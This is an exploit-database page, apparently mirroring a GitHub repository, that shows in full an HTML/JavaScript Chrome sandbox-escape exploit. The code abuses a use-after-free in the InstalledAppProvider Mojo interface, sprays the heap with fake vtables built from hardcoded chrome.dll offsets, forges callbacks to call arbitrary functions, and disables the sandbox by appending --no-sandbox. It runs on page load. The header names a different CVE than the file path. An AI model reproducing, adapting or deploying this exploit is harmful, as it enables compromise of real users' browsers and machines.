Exploit databaseDownload repository ZIP
GH-35c22eb7beb579a537ed8bdac1471048
0x726574736f706d69/exploits
Sources for CVE-2012-1876
7 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files11
0x726574736f706d69/exploitsRevision f609bfc85bf1
- ↑..Parent directory
- README.md
- arbitrary_call.html
- arbitrary_call_rnd.html
- copy.html
- exploit.html
- heap_leak.html
- mojo.7z
- no_crash.html
- pwn.html
- replacement.html
- trigger.html
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
CVE-2020-16040+Issue-1062091/Issue-1062091/pwn.html
HTML · 12,809 bytes<html>
<head>
<script src="/mojo/public/js/mojo_bindings.js"></script>
<script src="/third_party/blink/public/mojom/installedapp/installed_app_provider.mojom.js"></script>
<script src="/third_party/blink/public/mojom/blob/blob_registry.mojom.js"></script>
<script src="/url/mojom/url.mojom.js"></script>
<script>
function print(str) {
console.log(str);
var log = document.getElementById('log');
if (log) {
log.innerText += str + '\n';
}
}
function sleep(ms) {
return new Promise(resolve => setTimeout(resolve, ms));
}
function allocateRFH(src) {
var iframe = document.createElement("iframe");
iframe.src = src;
document.body.appendChild(iframe);
return iframe;
}
function freeRFH(iframe) {
document.body.removeChild(iframe);
}
var kPwnInterfaceName = "pwn";
function sendPtr() {
var pipe = Mojo.createMessagePipe();
// bind the InstalledAppProvider with the child rfh
Mojo.bindInterface(blink.mojom.InstalledAppProvider.name,
pipe.handle1, "context", true);
// pass the endpoint handle to the parent rfh
Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
print("Child interface bound and passed handle up");
}
function getFreedPtr() {
print("\t[-] Getting new freed instance");
return new Promise(function (resolve, reject) {
var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash
// intercept bindInterface calls for this process to accept the handle from the child
let interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");
interceptor.oninterfacerequest = function(e) {
interceptor.stop();
// bind the remote
var provider_ptr = new blink.mojom.InstalledAppProviderPtr(e.handle);
freeRFH(frame);
resolve(provider_ptr);
}
interceptor.start();
});
}
function getAllocationConstructor() {
let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
Mojo.bindInterface(blink.mojom.BlobRegistry.name,
mojo.makeRequest(blob_registry_ptr).handle, "process", true);
function Allocation(size=280) {
function ProgressClient(allocate) {
function ProgressClientImpl() {
}
ProgressClientImpl.prototype = {
onProgress: async (arg0) => {
if (this.allocate.writePromise) {
this.allocate.writePromise.resolve(arg0);
}
}
};
this.allocate = allocate;
this.ptr = new mojo.AssociatedInterfacePtrInfo();
var progress_client_req = mojo.makeRequest(this.ptr);
this.binding = new mojo.AssociatedBinding(
blink.mojom.ProgressClient, new ProgressClientImpl(), progress_client_req
);
return this;
}
this.pipe = Mojo.createDataPipe({elementNumBytes: size, capacityNumBytes: size});
this.progressClient = new ProgressClient(this);
blob_registry_ptr.registerFromStream("", "", size, this.pipe.consumer, this.progressClient.ptr).then((res) => {
this.serialized_blob = res.blob;
})
this.malloc = async function(data) {
promise = new Promise((resolve, reject) => {
this.writePromise = {resolve: resolve, reject: reject};
});
this.pipe.producer.writeData(data);
this.pipe.producer.close();
written = await promise;
console.assert(written == data.byteLength);
}
this.free = async function() {
this.serialized_blob.blob.ptr.reset();
await sleep(1000);
}
this.read = function(offset, length) {
this.readpipe = Mojo.createDataPipe({elementNumBytes: 1, capacityNumBytes: length});
this.serialized_blob.blob.readRange(offset, length, this.readpipe.producer, null);
return new Promise((resolve) => {
this.watcher = this.readpipe.consumer.watch({readable: true}, (r) => {
result = new ArrayBuffer(length);
this.readpipe.consumer.readData(result);
this.watcher.cancel();
resolve(result);
});
});
}
this.readQword = async function(offset) {
let res = await this.read(offset, 8);
return (new DataView(res)).getBigUint64(0, true);
}
return this;
}
async function allocate(data) {
let allocation = new Allocation(data.byteLength);
await allocation.malloc(data);
return allocation;
}
return allocate;
}
async function trigger() {
if (window.location.hash == "#child") {
sendPtr();
return;
}
let allocate = getAllocationConstructor();
const kChromeDllBase = 0x00007ffcee030000n;
const kSprayAllocationCount = 0x8;
// values for 81.0.4044.69
const kRenderFrameHostSize = 0xc38;
const kFirstCallVtableOffset = 0x48;
const kSecondCallVtableOffset = 0xd0;
const kThirdCallVtableOffset = 0x18;
const kGetFieldAddrVptr = kChromeDllBase + 0x63df450n;
const kFieldAddrOffset = 0x8;
const kGetFieldVptr = kChromeDllBase + 0x63ec7e8n;
const kFieldOffset = 0x8;
const kInvokeCallbackVptr = kChromeDllBase + 0x66827d8n;
const kBindStatePtrOffset = 0x10;
const kGetWakeLockContextVptr = kChromeDllBase + 0x668e258n;
const kWakeLockContextOffset = 0x650;
const kWakeLockContextWebContentsOffset = 0x8;
const kLeakGadget = kChromeDllBase + 0x27c7efan;
const kCopyQword = kChromeDllBase + 0x1504eb0n;
const kNopRet = kChromeDllBase + 0x1504eb6n;
const kInvoker4Args = kChromeDllBase + 0x4d91d68n;
const kCurrentProcessCommandline = kChromeDllBase + 0x7571108n;
const kSetCommandLineFlagsForSandboxType = kChromeDllBase + 0x11c290n;
async function triggerUAF(ptr) {
await ptr.filterInstalledApps([], new url.mojom.Url({url: window.location.href}));
print("\t[-] UAF triggered");
}
function spray(data, num=kSprayAllocationCount) {
print("\t[-] Spraying...");
return Promise.all(Array(num).fill().map(() => allocate(data)));
}
/* puts data in the heap and returns the address along with a handle to read back data */
async function allocReadable(allocData=new ArrayBuffer(0)) {
while (true) {
let data = new ArrayBuffer(kRenderFrameHostSize);
let view = new DataView(data);
/* copy the allocation data to the end */
let allocView = new DataView(allocData);
let dataOffset = kRenderFrameHostSize - allocData.byteLength;
for (var i = 0; i < allocData.byteLength; i++) {
view.setUint8(dataOffset + i, allocView.getUint8(i));
}
offset = 0;
view.setBigUint64(offset, kGetFieldAddrVptr - BigInt(kFirstCallVtableOffset), true);
offset += kFieldAddrOffset;
view.setBigUint64(offset, kGetFieldAddrVptr - BigInt(kSecondCallVtableOffset), true);
offset += kFieldAddrOffset;
view.setBigUint64(offset, kGetWakeLockContextVptr - BigInt(kThirdCallVtableOffset), true);
view.setBigUint64(offset + kThirdCallVtableOffset, kLeakGadget, true); // setup leak gadget
offset += kWakeLockContextOffset;
console.assert(offset <= kRenderFrameHostSize);
let provider_ptr = await getFreedPtr();
let heap = await spray(data);
await triggerUAF(provider_ptr);
results = await Promise.all(heap.map((a) => a.readQword(offset)));
let allocation;
let wakeLockContextAddr;
for (var i = 0; i < results.length; i++) {
if (results[i] != 0) {
wakeLockContextAddr = results[i];
allocation = heap[i];
print("\t[*] overlapped allocation index: " + i);
}
}
if (wakeLockContextAddr == undefined) {
print("\t[!] stage1 failed.. retrying");
continue;
}
print("\t[*] stage1 success: " + wakeLockContextAddr.toString(16));
data = new ArrayBuffer(kRenderFrameHostSize);
view = new DataView(data);
offset = 0;
view.setBigUint64(offset, kGetFieldAddrVptr - BigInt(kFirstCallVtableOffset), true);
offset += kFieldAddrOffset;
view.setBigUint64(offset, kGetFieldVptr - BigInt(kSecondCallVtableOffset), true);
view.setBigUint64(offset + kFieldOffset, wakeLockContextAddr + BigInt(kWakeLockContextWebContentsOffset), true);
offset += kFieldAddrOffset;
console.assert(offset <= kRenderFrameHostSize);
provider_ptr = await getFreedPtr();
let heap2 = await spray(data);
await triggerUAF(provider_ptr);
bufLeak = await allocation.readQword(offset);
if (bufLeak == kGetWakeLockContextVptr - BigInt(kThirdCallVtableOffset)) {
print("\t[!] stage2 failed.. retrying");
continue;
}
allocation.originalRead = allocation.read;
allocation.read = (offset, size) => allocation.originalRead(offset + dataOffset, size);
return [allocation, bufLeak - BigInt(offset) + BigInt(dataOffset)];
}
}
/* Builds a base::OnceCallback and invokes it using the provided function and args */
async function callFunction(functionAddr, arg0=0n, arg1=0n, arg2=0n, arg3=0n) {
let k4ArgBindStateSize = 0x48;
let bindState = new ArrayBuffer(k4ArgBindStateSize);
let view = new DataView(bindState);
view.setBigUint64(0, 1n, true); // refcount
view.setBigUint64(8, kInvoker4Args, true); // polymorphic_invoke
view.setBigUint64(0x10, kNopRet, true); // destructor
view.setBigUint64(0x18, kNopRet, true); // query_cancellation_traits
view.setBigUint64(0x20, functionAddr, true); // functor
view.setBigUint64(0x28, arg0, true);
view.setBigUint64(0x30, arg1, true);
view.setBigUint64(0x38, arg2, true);
view.setBigUint64(0x40, arg3, true);
let [a, bindStateAddr] = await allocReadable(bindState);
print("\t[*] allocated bindState at " + bindStateAddr.toString(16));
let data = new ArrayBuffer(kRenderFrameHostSize);
view = new DataView(data);
offset = 0;
view.setBigUint64(offset, kGetFieldAddrVptr - BigInt(kFirstCallVtableOffset), true);
offset += kFieldAddrOffset;
view.setBigUint64(offset, kGetFieldAddrVptr - BigInt(kSecondCallVtableOffset), true);
offset += kFieldAddrOffset;
view.setBigUint64(offset, kInvokeCallbackVptr - BigInt(kThirdCallVtableOffset), true);
view.setBigUint64(offset + kBindStatePtrOffset, bindStateAddr, true);
console.assert(offset <= kRenderFrameHostSize);
provider_ptr = await getFreedPtr();
let heap2 = await spray(data);
await triggerUAF(provider_ptr);
}
async function getCurrentProcessCommandLine() {
print("[-] Getting current_process_commandline...");
let [allocation, heapAddress] = await allocReadable(new ArrayBuffer(8));
while (true) {
await callFunction(kCopyQword, heapAddress, kCurrentProcessCommandline);
cmdLine = await allocation.readQword(0);
if (cmdLine == 0n) {
print("\t[!] got bad pointer for current_process_commandline... retrying");
continue;
}
print("[*] current_process_commandline: " + cmdLine.toString(16));
return cmdLine;
}
}
cmdLine = await getCurrentProcessCommandLine();
print("[-] Appending --no-sandbox to command line...");
await callFunction(kSetCommandLineFlagsForSandboxType, cmdLine, 0n /* kNoSandboxType */);
print("[*] Done!");
//setTimeout(()=>window.location.reload(), 1000);
}
</script>
</head>
<body onload="setTimeout(trigger,100)">
<pre id='log'></pre>
</body>
</html>